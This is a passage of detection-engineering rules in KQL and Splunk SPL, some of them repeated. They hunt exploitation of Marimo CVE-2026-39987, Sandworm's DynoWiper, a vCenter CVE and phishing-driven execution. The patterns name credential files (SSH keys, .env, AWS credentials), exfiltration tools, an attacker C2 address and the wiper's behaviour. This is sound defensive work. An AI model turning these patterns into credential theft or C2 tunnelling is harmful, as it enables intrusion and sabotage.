| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match · [LLM] DynoWiper staging in C:\inetpub\pub\ as schtask.exe / schtask2.exe / *_update.exe
Command & Control. Beacon to attacker infrastructure for control and tasking. → [LLM] Sandworm rsocx reverse SOCKS proxy beacon to DynoWiper C2 31.172.71[.]5:8008
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → [LLM] DynoWiper behavior: mass multi-drive file overwrite immediately followed by forced reboot
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6") or SHA1 in~ ("4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6") or MD5 in~ ("4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Detects execution of, or network egress from, the rsocx (renamed r.exe) reverse SOCKS5 proxy that Sandworm operators used during the December 2025 DynoWiper intrusion to tunnel traffic out of the Polish energy victim. Targets the exact command-line argument pattern '-r 31.172.71[.]5:8008' and the dropped path C:\Users\<user>\Downloads\r.exe documented by ESET.
Rationale: ESET's technical follow-up and Elastic Security Labs both confirm rsocx.exe (renamed r.exe in C:\Users\<USER>\Downloads\) was launched with '-r 31.172.71[.]5:8008' on the Polish energy victim. The IP+port+cmdline triplet is unique to this campaign and not used by legitimate software, so a true match is high-confidence Sandworm activity.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/
• https://www.elastic.co/security-labs/dynowiper
• https://www.bleepingcomputer.com/news/security/sandworm-hackers-linked-to-failed-wiper-attack-on-polands-energy-systems/
ATT&CKT1090.001T1572T1071.001
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let c2_ip = dynamic(["31.172.71.5"]);
let c2_port = 8008;
let rsocx_cmdline = DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("r.exe","rsocx.exe") and FolderPath has_any (@"\Downloads\", @"\Public\", @"\inetpub\"))
or ProcessCommandLine matches regex @"(?i)\brsocx\b"
or ProcessCommandLine matches regex @"-r\s+31\.172\.71\.5(:|\s|$)"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, SHA1, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine;
let c2_net = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (c2_ip) and RemotePort == c2_port
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, InitiatingProcessSHA1, RemoteIP, RemotePort, ActionType;
union rsocx_cmdline, c2_net
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name IN ("r.exe","rsocx.exe") OR Processes.process="*rsocx*" OR Processes.process="*-r 31.172.71.5*" OR Processes.process="*-r 31.172.71.5:8008*") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_path | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_ip="31.172.71.5" AND All_Traffic.dest_port=8008 by All_Traffic.src All_Traffic.user All_Traffic.app All_Traffic.dest_ip All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] DynoWiper staging in C:\inetpub\pub\ as schtask.exe / schtask2.exe / *_update.exeInstallationHigh
Hunts for the Sandworm wiper-staging pattern documented at the Polish energy victim: DynoWiper binaries dropped as schtask.exe, schtask2.exe and <redacted>_update.exe inside C:\inetpub\pub\ (a non-default writable subfolder of the IIS root used to fan the wiper out via a deployment script). Catches both the file write and any subsequent execution of those filenames from that path.
Rationale: ESET and Elastic both name the staging directory C:\inetpub\pub\ and the three filenames (schtask.exe, schtask2.exe, <redacted>_update.exe) used to push DynoWiper inside the Polish energy company. C:\inetpub\pub\ is not a default IIS path, the schtask*.exe names mimic schtasks.exe to blend with admin tooling, and the SHA-1s are corroborated wiper hashes — combination yields very low FP.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/
• https://www.elastic.co/security-labs/dynowiper
• https://thehackernews.com/2026/01/new-dynowiper-malware-used-in-attempted.html
ATT&CKT1485T1036.005T1570
Data sourcesEndpoint.FilesystemEndpoint.Processes
let known_hashes_sha1 = dynamic(["4EC3C90846AF6B79EE1A5188EEFA3FD21F6D4CF6","86596A5C5B05A8BFBD14876DE7404702F7D0D61B","69EDE7E341FD26FA0577692B601D80CB44778D93"]);
let file_drops = DeviceFileEvents
| where Timestamp > ago(60d)
| where FolderPath has @"\inetpub\pub\"
| where FileName in~ ("schtask.exe","schtask2.exe") or FileName endswith "_update.exe" or SHA1 in (known_hashes_sha1)
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA1, SHA256, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName;
let exec_from_share = DeviceProcessEvents
| where Timestamp > ago(60d)
| where FolderPath has @"\inetpub\pub\"
| where FileName in~ ("schtask.exe","schtask2.exe") or FileName endswith "_update.exe" or SHA1 in (known_hashes_sha1)
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, SHA1, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine;
union file_drops, exec_from_share
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path="*\\inetpub\\pub\\*" AND (Filesystem.file_name IN ("schtask.exe","schtask2.exe") OR Filesystem.file_name="*_update.exe") by Filesystem.dest Filesystem.user Filesystem.file_name Filesystem.file_path Filesystem.process_name Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.process_path="*\\inetpub\\pub\\*" AND (Processes.process_name IN ("schtask.exe","schtask2.exe") OR Processes.process_name="*_update.exe") by Processes.dest Processes.user Processes.process_name Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] DynoWiper behavior: mass multi-drive file overwrite immediately followed by forced rebootActions on ObjectivesMedium
Behavioral hunt for the DynoWiper destruction sequence: a single non-system process performs high-volume file modifications across multiple drive letters (skipping windows/system32/program files/appdata) and then triggers a forced system reboot via ExitWindowsEx / shutdown. Designed to catch Sandworm wiper variants even with new hashes by keying on the unique multi-drive + immediate reboot pattern.
Rationale: ESET and Elastic describe DynoWiper's three-phase destruction: GetLogicalDrives enumerates all drives, files outside the listed exclusion folders are overwritten with a 16-byte Mersenne-Twister buffer, then ExitWindowsEx(EWX_REBOOT|EWX_FORCE) is invoked. The combination of 500+ writes across >=2 drives by one process followed within minutes by a forced reboot — while excluding the directories DynoWiper itself excludes — is a tight behavioral signature for this and likely follow-on Sandworm wipers.
Cross-checked against:
• https://www.welivesecurity.com/en/eset-research/dynowiper-update-technical-analysis-attribution/
• https://www.elastic.co/security-labs/dynowiper
• https://socprime.com/active-threats/dynowiper-malware-targeting-polands-energy-sector/
ATT&CKT1485T1561.001T1529
Data sourcesEndpoint.FilesystemEndpoint.Processes
let wipe_window = 10m;
let exclusions = dynamic([@"\windows\",@"\system32\",@"\program files\",@"\program files (x86)\",@"\appdata\",@"\$recycle.bin\",@"\perflogs\",@"\boot\",@"\documents and settings\"]);
let mass_writes = DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType in ("FileModified","FileCreated","FileDeleted","FileRenamed")
| where not(FolderPath has_any (exclusions))
| extend Drive = tolower(substring(FolderPath,0,3))
| summarize FileCount=count(), DriveCount=dcount(Drive), Drives=make_set(Drive,10), SamplePaths=make_set(FolderPath,10) by DeviceId, DeviceName, InitiatingProcessId, InitiatingProcessFileName, InitiatingProcessSHA1, bin(Timestamp, wipe_window)
| where FileCount > 500 and DriveCount >= 2;
let reboots = DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName =~ "shutdown.exe" and ProcessCommandLine has_any ("/r","-r") and ProcessCommandLine has_any ("/f","-f"))
or ProcessCommandLine has "ExitWindowsEx"
| project DeviceId, DeviceName, RebootTime=Timestamp, RebootProc=FileName, RebootCmd=ProcessCommandLine, RebootInitiator=InitiatingProcessFileName;
mass_writes
| join kind=inner (reboots) on DeviceId
| where RebootTime between (Timestamp .. Timestamp + 15m)
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA1, FileCount, DriveCount, Drives, SamplePaths, RebootTime, RebootProc, RebootCmd
| tstats `summariesonly` count values(Filesystem.file_path) as paths dc(Filesystem.file_path) as path_count values(Filesystem.file_name) as files dc(eval(substr(Filesystem.file_path,1,2))) as drive_count from datamodel=Endpoint.Filesystem where Filesystem.action IN ("modified","deleted","created") AND NOT (Filesystem.file_path="*\\Windows\\*" OR Filesystem.file_path="*\\system32\\*" OR Filesystem.file_path="*\\Program Files*" OR Filesystem.file_path="*\\AppData\\*" OR Filesystem.file_path="*\\$Recycle.Bin*" OR Filesystem.file_path="*\\PerfLogs*" OR Filesystem.file_path="*\\Boot\\*") by Filesystem.dest Filesystem.process_guid Filesystem.process_name _time span=5m | `drop_dm_object_name(Filesystem)` | where path_count>500 AND drive_count>=2 | join type=inner dest process_guid [| tstats `summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN ("shutdown.exe") OR Processes.process="*ExitWindowsEx*" OR Processes.process="*-r -f -t 0*" by Processes.dest Processes.process_guid Processes.parent_process_guid Processes.process_name Processes.process | `drop_dm_object_name(Processes)`] | table _time dest process_name path_count drive_count files process
2026-01-234 use cases1 technique3 kill-chain phases detected
Broadcom VMware vCenter Server contains an out-of-bounds write vulnerability in the implementation of the DCERPC protocol. This could allow a malicious actor with network access to vCenter Server to send specially crafted network packets, potentially leading to remote code execution. Vendor: Broadcom, Product: VMware vCenter Server. Federal patch due: 2026-02-13.
CVEsCVE-2024-37079
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-37079")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-37079")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
